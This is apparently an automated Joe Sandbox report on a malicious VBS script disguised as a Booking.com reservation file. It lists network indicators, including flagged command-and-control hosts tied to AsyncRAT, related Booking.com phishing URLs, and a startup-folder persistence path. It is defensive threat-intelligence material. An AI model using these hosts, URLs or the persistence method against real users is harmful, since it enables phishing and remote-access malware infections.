https://asanalytics.booking.com/CvvXMUccr6E3ph3y?1cc01da8db961767=JI3-jrpjkLDyhGzKSUTSYtpoAduuUYP77Psm1XOnM8MEueBfEP1sgw7TFuJx1He3WMkZhzXTcFNgsaU2N6ulYOsAzwZQOziO13H7hSsyK74g0wjMDtUYrU0VjQbTgv6z0i3CWpbiUUCaEn88HtSHELr83bCmVMD1BifcwHWMkBXgqPPpmxiDTP8pSHI1qymVAWAQ-SGsxgfxrgTrLsE	false		unknown
https://asanalytics.booking.com/P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=31393124266a6361353326626a7b63673f253f422d3030787c7970657b273a302531412737422530326d6d777b672532302d334330313b322d35462d3a4325323a727c7b7067253032253343253230726b273232273f442460687b62633f273d4a2535422d303a7425303227324331343830363b2d304325303a253030253d442d30412d3d4225323a6c2d303227324131363832343927304b273232766d787627323b6c67656b6666616d652d303a27354625374426626a7362695d616c64657a3534	false		unknown
https://asanalytics.booking.com/P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=31313324266a6361353326626a7b773f27354a253f40273a3a7465787c273a316c6d676b6e6e616f652530302d314130273f442730432d323a27304e7b69676e256b6627323025374426626a736b71766d3f2537402d3230696e2d323a273149382532432d303a693230392732322531413027354c	false		unknown
https://asanalytics.booking.com/P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=31303335262668636b3f3126606073613f253d422d37402d3a326d6d2d303a273241313037253241323337273a4131383b31363127354c253a41273d4a253232656f2d30322732413132312732433033302732433330393b35352d354c27304b2d3542253a30656f2530322732433133352530413a323325304b313a3b3931312d37462d3a4325354a273a306d6f253032253241313132273a4131383b2d3241333831393135273d4c2532432d374a2732306d6f25323227324333323d273243333f3627304339393832323f2d3544253a412d37422732306d6d25303225304139323125304b313437253a43393b32383a3325354c273a412537422732326d6f253230273a413938273a433337352d324b333b38383238253d462d30432735402532326f6d2530302d304339362d324133343e253a413331383033392d374c2732412537422532306d6d27303a2732433b39253041313b382d304139313030353c273d462530432735422530326d6f273a30253241303927304339333927304b393930303d3b2d37442732412535422732326f6f2d303225304b383427324b313a36273a4b3139303834312735462530432535402532306f65273232273a433a36253a4339333a2d3a433139383230372537442732432537422530307c273232273a432730324c495e27303b2d32334441542d3033273230253243333930323b39273544273a432737422d323a6f6f2d3a3225324b3a3a2732413133332532413139323231332535462d324127354a253a306f652d3232253a413032253043333038253043313b3239323125374c253041253d422d303065652532322d304b3539273241313034273243333b38333136273d442730432d354a27303a656d25323a273a4137352530433130322532413331323132332d354627324b253d40273a3a6d6d253a302d3043353627324339342532413331323133302d354627324b253d40273a3a6d6d253a302d30433535273243393125324133313231343a2d354627324b253d40273a3a6d6d253a302d3043353427324339322532413331323136312d354627324b253d40273a3a6d6d253a302d30433533273243383a25324133313231373b2d354627324b253d40273a3a6d6d253a302d3043353227324338372532413331323139362d354627324b253d40273a3a6d6d253a302d3043353127324338312532413331323230322d354627324b253d40273a3a6d6d253a302d3043353127324338332532413331323231322d354627324b253d40273a3a6d6d253a302d3043353027324338322532413331323232342d354627324b253d40273a3a6d6d253a302d30433439273243373a2532413331323233302d354627324b253d40273a3a6d6d253a302d3043343927324337352532413331323234302d354627354c266a6a716b57696e646d7a35333337	false		unknown
https://asanalytics.booking.com/P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=32373924266a6361353326626a7b633f27354a253d40273a3a7425323a273a412530324c415625303325303140474144475a253031253a322d30413a3d3434373d273d462530432735422530326d6f273a302532413d303a27324b313927304b3a3534343f372d37442732412535422732326f6f2d303225304b35323a253a433933273a4b3235343c353d2735462530432535402532306f65273232273a433634342d324b37352d3a4332353c36303a2537442732432537422530307c273232273a432730324c495e27303b2d32334441542d3033273230253243303534363b31273544273a432737422d323a6f6f2d3a3225324b363a372530433b3825324132353636313b2535462d3546246260736b5d6b666c65783d393531	false		unknown
https://asanalytics.booking.com/P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413637362d374c27304b2d3232707c7b78672530322733412530327061273a30253746	false		unknown
https://asanalytics.booking.com/P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=32373524266a6361353326626a7b63673f253f422d3030787c7970657b273a302531412737422530326d6d777b672532302d334330303f382d35462d3a4325323a727c7b7067253032253343253230726b273232273f442460687b62633f273d4a2535422d303a742530322732433134343832312d304325303a253030253d442d30412d3d4225323a6c2d30322732413136343a303427304b273232766d787627323b6c67656b6666616d652d303a273546253043253540253230572d303225304b313436383c362d30412d3a32746570762d30336e6f65696e6e636d6527303a273544273a432737422d323a70273a3a25324339343c3a3532253043253230253230273d462535462e626a7162635f616c666d703d33	false		unknown
https://asanalytics.booking.com/P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383326246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413035303a253f46273a4b253232787671726527323025334127323272612d303225354c	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ampcid.google.com/v1/publisher:getClientId	chromecache_220.6.dr, chromecache_185.6.dr	false	URL Reputation: safe	unknown
https://skynetx.com.br	powershell.exe, 00000003.00000002.2726783475.0000016A653B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A65A85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A65CA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A659F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A659D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A65A69000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A65A4B000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://www.quirksmode.org/js/cookies.html	chromecache_227.6.dr	false		unknown
http://www.microsoft.coyS	powershell.exe, 0000000E.00000002.3800900835.000002A17B49F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://play.google.com	chromecache_226.6.dr	false		unknown
https://www.booking.com/_etnht	chromecache_227.6.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
82.113.193.63	stun.twt.it	Italy	30848	IT-TWT-ASIT	false
18.66.171.75	unknown	United States	3	MIT-GATEWAYSUS	false
13.224.222.88	unknown	United States	16509	AMAZON-02US	false
18.239.69.15	unknown	United States	16509	AMAZON-02US	false
81.187.30.115	natisevil.aasip.co.uk	United Kingdom	20712	AS20712AndrewsArnoldLtdGB	false
77.72.169.212	stun.12voip.com	Netherlands	42416	COMNET-ASNL	false
108.138.233.92	unknown	United States	16509	AMAZON-02US	false
18.244.87.72	unknown	United States	16509	AMAZON-02US	false
104.18.87.42	unknown	United States	13335	CLOUDFLARENETUS	false
85.17.88.164	stun.acrobits.cz	Netherlands	60781	LEASEWEB-NL-AMS-01NetherlandsNL	false
77.72.169.211	stun.telbo.com	Netherlands	42416	COMNET-ASNL	false
18.239.69.6	de2trjlt8e8rj.cloudfront.net	United States	16509	AMAZON-02US	false
154.73.34.8	stun.uls.co.za	South Africa	327767	ULTIMATE-LINUXZA	false
24.152.39.120	skynetx.com.br	unknown	270564	MasterDaWebBR	true
213.140.209.236	stun.cablenet-as.net	Cyprus	35432	CABLENET-ASCY	false
172.64.155.119	geolocation.onetrust.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
52.209.78.88	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com	United States	16509	AMAZON-02US	false
18.245.31.103	d8c14d4960ca.edge.sdk.awswaf.com	United States	16509	AMAZON-02US	false
91.235.132.130	h.online-metrix.net	Netherlands	30286	THMUS	false
13.248.195.177	unknown	United States	16509	AMAZON-02US	false
172.217.18.100	unknown	United States	15169	GOOGLEUS	false
163.181.131.208	all.cdn-gw-dv.vip.w.cdngslb.com	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
216.58.212.164	www.google.com	United States	15169	GOOGLEUS	false
35.190.10.96	collector-pxikkul2rm.px-cloud.net	United States	15169	GOOGLEUS	false
108.156.46.26	unknown	United States	16509	AMAZON-02US	false
99.86.4.72	du1b3vb35hc0o.cloudfront.net	United States	16509	AMAZON-02US	false
212.227.67.34	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
99.86.4.32	unknown	United States	16509	AMAZON-02US	false
91.235.133.10	h-doregtzf.online-metrix.net	Netherlands	30286	THMUS	false
212.227.67.33	stun.1und1.de	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
18.245.31.53	unknown	United States	16509	AMAZON-02US	false
64.131.63.217	stun.usfamily.net	United States	15250	USFAMILY-ASNUS	false
13.227.219.65	unknown	United States	16509	AMAZON-02US	false
18.238.243.42	unknown	United States	16509	AMAZON-02US	false
91.235.132.129	eu-aa.online-metrix.net	Netherlands	30286	THMUS	false
18.245.31.18	d2i5gg36g14bzn.cloudfront.net	United States	16509	AMAZON-02US	false
91.235.134.131	doregtzf6iaxtlfiswumwrsizbeo62z2a4veq6ah0879407f60bb10dbam1.e.aa.online-metrix.net	Netherlands	30286	THMUS	false
74.125.250.129	stun4.l.google.com	United States	15169	GOOGLEUS	false
108.156.46.75	unknown	United States	16509	AMAZON-02US	false
94.23.17.185	stun.antisip.com	France	16276	OVHFR	false
18.239.69.101	unknown	United States	16509	AMAZON-02US	false
18.245.31.49	unknown	United States	16509	AMAZON-02US	false
85.93.219.114	stun.tel.lu	Luxembourg	9008	ASN-VOVisualOnlineSALuxembourgLU	false
192.225.158.1	h64.online-metrix.net	United States	30286	THMUS	false
18.245.31.129	unknown	United States	16509	AMAZON-02US	false
108.138.26.56	unknown	United States	16509	AMAZON-02US	false
185.208.37.90	stun.bluesip.net	Germany	29488	CCNDE	false
104.18.86.42	cdn.cookielaw.org	United States	13335	CLOUDFLARENETUS	false
128.90.129.125	chromedata.webredirect.org	United States	22363	PHMGMT-AS1US	true
108.138.26.94	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.8
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1547431
Start date and time:	2024-11-02 13:59:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Reservation Detail Booking.com ID4336.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@65/141@188/54
EGA Information:	Failed
HCA Information:	Successful, ratio: 63% Number of executed functions: 13 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .vbs Override analysis time to 240s for JS/VBS files not yet terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 142.250.185.163, 142.250.186.142, 142.251.168.84, 34.104.35.123, 184.28.90.27, 142.250.186.74, 142.250.186.170, 142.250.185.202, 216.58.206.74, 142.250.185.234, 216.58.206.42, 172.217.16.202, 142.250.186.106, 142.250.185.74, 142.250.185.138, 142.250.184.234, 216.58.212.170, 142.250.185.170, 172.217.18.106, 142.250.74.202, 142.250.185.106, 199.232.214.172, 192.229.221.95, 142.250.185.142, 142.250.186.174, 172.217.23.99, 142.250.185.238, 104.208.16.89
Excluded domains from analysis (whitelisted): clients1.google.com, self-events-data.trafficmanager.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, onedscolprdcus11.centralus.cloudapp.azure.com, e16604.g.akamaiedge.net, update.googleapis.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net, www.google-analytics.com
Execution Graph export aborted for target powershell.exe, PID 2608 because it is empty
Execution Graph export aborted for target powershell.exe, PID 4592 because it is empty
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Reservation Detail Booking.com ID4336.vbs

Simulations

Behavior and APIs

Time	Type	Description
09:00:02	API Interceptor	2x Sleep call for process: svchost.exe modified
09:00:03	API Interceptor	2957x Sleep call for process: powershell.exe modified
09:01:51	API Interceptor	4755241x Sleep call for process: aspnet_regbrowsers.exe modified
14:00:30	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Desktop.ini.vbs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
77.72.169.212	https://booking.com-partners.one/confirm/login/qAlElVVF	Get hash	malicious	Unknown	Browse
	ROOMING 24034 Period Check-in on July 5th and departure on July 15th, 2024.bat	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse
	https://visitor132677.com/sign-in	Get hash	malicious	Unknown	Browse
	https://booking.inn-5781.eu/confirm/login/wzpCayeU	Get hash	malicious	Unknown	Browse
	https://hotel-id637438.eu/sign-in	Get hash	malicious	Unknown	Browse
	https://supp-review9482.eu/	Get hash	malicious	Unknown	Browse
	https://booking.login2portal-access.click/hotel/7cb47cd11bd6	Get hash	malicious	Unknown	Browse
	https://guss-appv.rsrvconfrm-guestshostail.com/apart/hap1yo	Get hash	malicious	Unknown	Browse
	https://paypalgiftcardgenerator.pages.dev/	Get hash	malicious	Unknown	Browse
82.113.193.63	https://booking.com-partners.one/confirm/login/qAlElVVF	Get hash	malicious	Unknown	Browse
	http://infofunctionboard.autos/	Get hash	malicious	Unknown	Browse
	ROOMING 24034 Period Check-in on July 5th and departure on July 15th, 2024.bat	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse
	https://visitor132677.com/sign-in	Get hash	malicious	Unknown	Browse
	https://booking.inn-5781.eu/confirm/login/wzpCayeU	Get hash	malicious	Unknown	Browse
	https://hotel-id637438.eu/sign-in	Get hash	malicious	Unknown	Browse
	https://supp-review9482.eu/	Get hash	malicious	Unknown	Browse
	https://hotel-347695.eu/confirm/login/LORdtLVv	Get hash	malicious	Unknown	Browse
	https://booking.login2portal-access.click/hotel/7cb47cd11bd6	Get hash	malicious	Unknown	Browse
18.66.171.75	https://supp-review9482.eu/	Get hash	malicious	Unknown	Browse
18.239.69.15	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://wetransfer.com/downloads/e3c914f2e6f4651b1445415756262fa620240826020905/640d590327db92754fa0159c45d4f92720240826020905/4529de?trk=TRN_TDL_01&utm_campaign=TRN_TDL_01&utm_medium=email&utm_source=sendgrid	Get hash	malicious	Unknown	Browse
	BraveBrowserSetup-BRV010.exe	Get hash	malicious	Unknown	Browse
	BraveBrowserSetup-BRV010.exe	Get hash	malicious	Unknown	Browse
	https://booking.login2portal-access.click/hotel/7cb47cd11bd6	Get hash	malicious	Unknown	Browse
	https://etrctrkaneting.com/5492183475	Get hash	malicious	Unknown	Browse
81.187.30.115	https://booking.com-partners.one/confirm/login/qAlElVVF	Get hash	malicious	Unknown	Browse
	http://infofunctionboard.autos/	Get hash	malicious	Unknown	Browse
	ROOMING 24034 Period Check-in on July 5th and departure on July 15th, 2024.bat	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse
	https://visitor132677.com/sign-in	Get hash	malicious	Unknown	Browse
	https://booking.inn-5781.eu/confirm/login/wzpCayeU	Get hash	malicious	Unknown	Browse
	https://hotel-id637438.eu/sign-in	Get hash	malicious	Unknown	Browse
	https://supp-review9482.eu/	Get hash	malicious	Unknown	Browse
	https://hotel-347695.eu/confirm/login/LORdtLVv	Get hash	malicious	Unknown	Browse
	https://booking.login2portal-access.click/hotel/7cb47cd11bd6	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
d2i5gg36g14bzn.cloudfront.net	https://booking.com-partners.one/confirm/login/qAlElVVF	Get hash	malicious	Unknown	Browse	18.245.31.18
	http://langtonskilkenny.com/rrUrhf	Get hash	malicious	Unknown	Browse	18.245.31.49
	https://ramadawynd.com/wakdl	Get hash	malicious	Unknown	Browse	18.245.31.18
	https://check-hticompialnt520842.com/sign-in?op_token=6QouodMTj42Y9R6vu7f7F4jkiiAw5e0RnP0YJ7kaakP7NW4bImz7RzENOq9XAroPzLQq7OQtDzJlNnfUSwkvnHQF3HnsYuhEh8y&uuid=3334009b-8512-457f-a8c7-c29303c4adbc&hash=lrio35yeh&language=en	Get hash	malicious	Unknown	Browse	18.245.31.53
	http://infofunctionboard.autos/	Get hash	malicious	Unknown	Browse	18.245.31.18
	https://complaint.room2222.world/apartment/98754	Get hash	malicious	Unknown	Browse	18.245.31.49
	ROOMING 24034 Period Check-in on July 5th and departure on July 15th, 2024.bat	Get hash	malicious	Unknown	Browse	18.238.243.8
	https://medvestgroup.com/	Get hash	malicious	Unknown	Browse	108.156.22.21
	https://complaint.issue899.eu/apartment/wwww	Get hash	malicious	Unknown	Browse	18.66.27.74
	http://complaint.issue449.eu/apartment/Swagipagi	Get hash	malicious	Unknown	Browse	18.245.31.129
stun.twt.it	https://booking.com-partners.one/confirm/login/qAlElVVF	Get hash	malicious	Unknown	Browse	82.113.193.63
	http://infofunctionboard.autos/	Get hash	malicious	Unknown	Browse	82.113.193.63
	ROOMING 24034 Period Check-in on July 5th and departure on July 15th, 2024.bat	Get hash	malicious	Unknown	Browse	82.113.193.63
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	82.113.193.63
	https://visitor132677.com/sign-in	Get hash	malicious	Unknown	Browse	82.113.193.63
	https://booking.inn-5781.eu/confirm/login/wzpCayeU	Get hash	malicious	Unknown	Browse	82.113.193.63
	https://hotel-id637438.eu/sign-in	Get hash	malicious	Unknown	Browse	82.113.193.63
	https://supp-review9482.eu/	Get hash	malicious	Unknown	Browse	82.113.193.63
	https://hotel-347695.eu/confirm/login/LORdtLVv	Get hash	malicious	Unknown	Browse	82.113.193.63
	https://booking.login2portal-access.click/hotel/7cb47cd11bd6	Get hash	malicious	Unknown	Browse	82.113.193.63
stun.telbo.com	https://booking.com-partners.one/confirm/login/qAlElVVF	Get hash	malicious	Unknown	Browse	77.72.169.211
	http://infofunctionboard.autos/	Get hash	malicious	Unknown	Browse	77.72.169.213
	ROOMING 24034 Period Check-in on July 5th and departure on July 15th, 2024.bat	Get hash	malicious	Unknown	Browse	77.72.169.211
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	77.72.169.212
	https://visitor132677.com/sign-in	Get hash	malicious	Unknown	Browse	77.72.169.210
	https://booking.inn-5781.eu/confirm/login/wzpCayeU	Get hash	malicious	Unknown	Browse	77.72.169.212
	https://hotel-id637438.eu/sign-in	Get hash	malicious	Unknown	Browse	77.72.169.210
	https://supp-review9482.eu/	Get hash	malicious	Unknown	Browse	77.72.169.213
	https://hotel-347695.eu/confirm/login/LORdtLVv	Get hash	malicious	Unknown	Browse	77.72.169.213
	https://booking.login2portal-access.click/hotel/7cb47cd11bd6	Get hash	malicious	Unknown	Browse	77.72.169.212
chromedata.webredirect.org	image.ps1	Get hash	malicious	AsyncRAT, PureLog Stealer, zgRAT	Browse	128.90.129.125
	info2.ps1	Get hash	malicious	AsyncRAT	Browse	91.109.188.7
	hindi.js	Get hash	malicious	AsyncRAT	Browse	45.164.102.28
	Voucher_Reservation_Detail_Booking.js	Get hash	malicious	AsyncRAT	Browse	187.24.65.42
	dog.ps1	Get hash	malicious	AsyncRAT, PhoenixRAT	Browse	189.201.235.12

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
IT-TWT-ASIT	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	176.57.112.45
	m68k.elf	Get hash	malicious	Mirai	Browse	176.57.112.72
	https://booking.com-partners.one/confirm/login/qAlElVVF	Get hash	malicious	Unknown	Browse	82.113.193.63
	SecuriteInfo.com.Linux.Siggen.9999.29695.14613.elf	Get hash	malicious	Unknown	Browse	176.57.112.58
	SecuriteInfo.com.Linux.Siggen.9999.13221.8731.elf	Get hash	malicious	Unknown	Browse	176.57.112.72
	http://infofunctionboard.autos/	Get hash	malicious	Unknown	Browse	82.113.193.63
	ROOMING 24034 Period Check-in on July 5th and departure on July 15th, 2024.bat	Get hash	malicious	Unknown	Browse	82.113.193.63
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	82.113.193.63
	iUAAvj0XNL.elf	Get hash	malicious	Mirai	Browse	77.239.140.135
	https://visitor132677.com/sign-in	Get hash	malicious	Unknown	Browse	82.113.193.63
MIT-GATEWAYSUS	spc.elf	Get hash	malicious	Mirai	Browse	19.124.217.22
	arm6.elf	Get hash	malicious	Unknown	Browse	18.102.226.162
	debug.dbg.elf	Get hash	malicious	Gafgyt, Mirai	Browse	18.40.213.82
	https://predictiveanalyticsgroup.formstack.com/forms/i_am_not_a_robot	Get hash	malicious	Unknown	Browse	18.66.122.21
	https://active-tomato-m9td61.mystrikingly.com/	Get hash	malicious	Unknown	Browse	18.66.147.30
	czxw4iVMHJ.exe	Get hash	malicious	Stealc, Vidar	Browse	18.65.39.70
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.160.156.115
	https://docsend.com/view/yvdhrcvq4c4p7xrd	Get hash	malicious	HTMLPhisher	Browse	18.173.205.125
	https://issuu.com/mathildagr/docs/pmd9746827?fr=sZTMyNjc4NzAyNzM	Get hash	malicious	Unknown	Browse	18.66.102.66
	Setup.exe	Get hash	malicious	Unknown	Browse	18.173.205.111
AMAZON-02US	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	18.238.171.108
	jwwofba5.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	New Order list attached.exe	Get hash	malicious	DBatLoader, FormBook	Browse	185.166.143.50
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	A4mmSHCUi2.exe	Get hash	malicious	FormBook	Browse	76.223.67.189
	armv7l.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	sparc.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	sh4.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	m68k.elf	Get hash	malicious	Unknown	Browse	54.72.82.152
	mpsl.elf	Get hash	malicious	Mirai	Browse	52.51.102.56
AMAZON-02US	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	18.238.171.108
	jwwofba5.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	New Order list attached.exe	Get hash	malicious	DBatLoader, FormBook	Browse	185.166.143.50
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	A4mmSHCUi2.exe	Get hash	malicious	FormBook	Browse	76.223.67.189
	armv7l.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	sparc.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	sh4.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	m68k.elf	Get hash	malicious	Unknown	Browse	54.72.82.152
	mpsl.elf	Get hash	malicious	Mirai	Browse	52.51.102.56

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	SecuriteInfo.com.Trojan.KillProc2.23792.25322.26057.exe	Get hash	malicious	RedLine	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91
	o3QbCA4xLs.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	http://adullamglobal.com	Get hash	malicious	Unknown	Browse	23.1.237.91
	Damar Training.pdf	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	23.1.237.91
	https://u47872954.ct.sendgrid.net/ls/click?upn=u001.fn1BsYIkFXRWxBLF12AvXhKUqktmOI7EPkchHYpa8lb2yJr9vm47Biq1iwhYH4x0W6E6_1tlZTUgFpToOJRvXeJjZ1lQQtiPaV281MW3UjMlmRxOXQrHf3E28Ct8cWw3pFJv8ww35QVlHVAsV9LrE8WJ-2FqWVvVFyUxLS7XbjE4ioBaNzI7Y9AQvglzmjEqljOvLuB-2FqyLAOnwfIZ8a2UOhb0kq4DsltFbCSVl8L5tTVcXPovhejZuw7J5gFYEuhvfLU6jp9IiI6bOp4vutoVple794Svog7VmNTHCQykEIajsBwvsIA9xBhrTaUhPe3riTZOj5RQVgP8LolzHF5ds6ImaI4Q1KNsmEF06CineSoPu7BKGd-2B4IINKzojAY3yUTkdWQLuCwDcmh7vK-2Fm4MQ0xAiPJ-2BNim16FZPVrX44e4DFM1rc1r1ZYN2APdeEIThalu0Ag-2BNzl5TCF9-2F-2B4cIgV-2B8ceF573hvcKOOmdD1jbxRbFryn-2FGT77SPyR6cNo7joqYajHU5-2F1gyPof24NnmOIwvhn7qKr0Ihz3SIWFLubPXV0GdcG6guT-2FBjwN6h83YPSF-2F5Pk0uzrf9DG4ZRnISsjJaazqmdBRAAsyoWwP5iXWDQEfiJXubX9fD-2BREtQifDIoI36c8qvCy5hrOP9aAfzd2djtg-2B8gR7MvgWYCa5sA7wAgdCKrrNRjX7eeAtG5StCtmRi-2BsSO4PCFgsA4QlR8AVRyhdPdKhSYzgA-2F1BCyYmRsFeWn4YzRn0mexGeZM3PwhHAdqlfom16LJGSiVeG98p5ZK5N-2BZQuMTlINorxwlmSmaGarY5x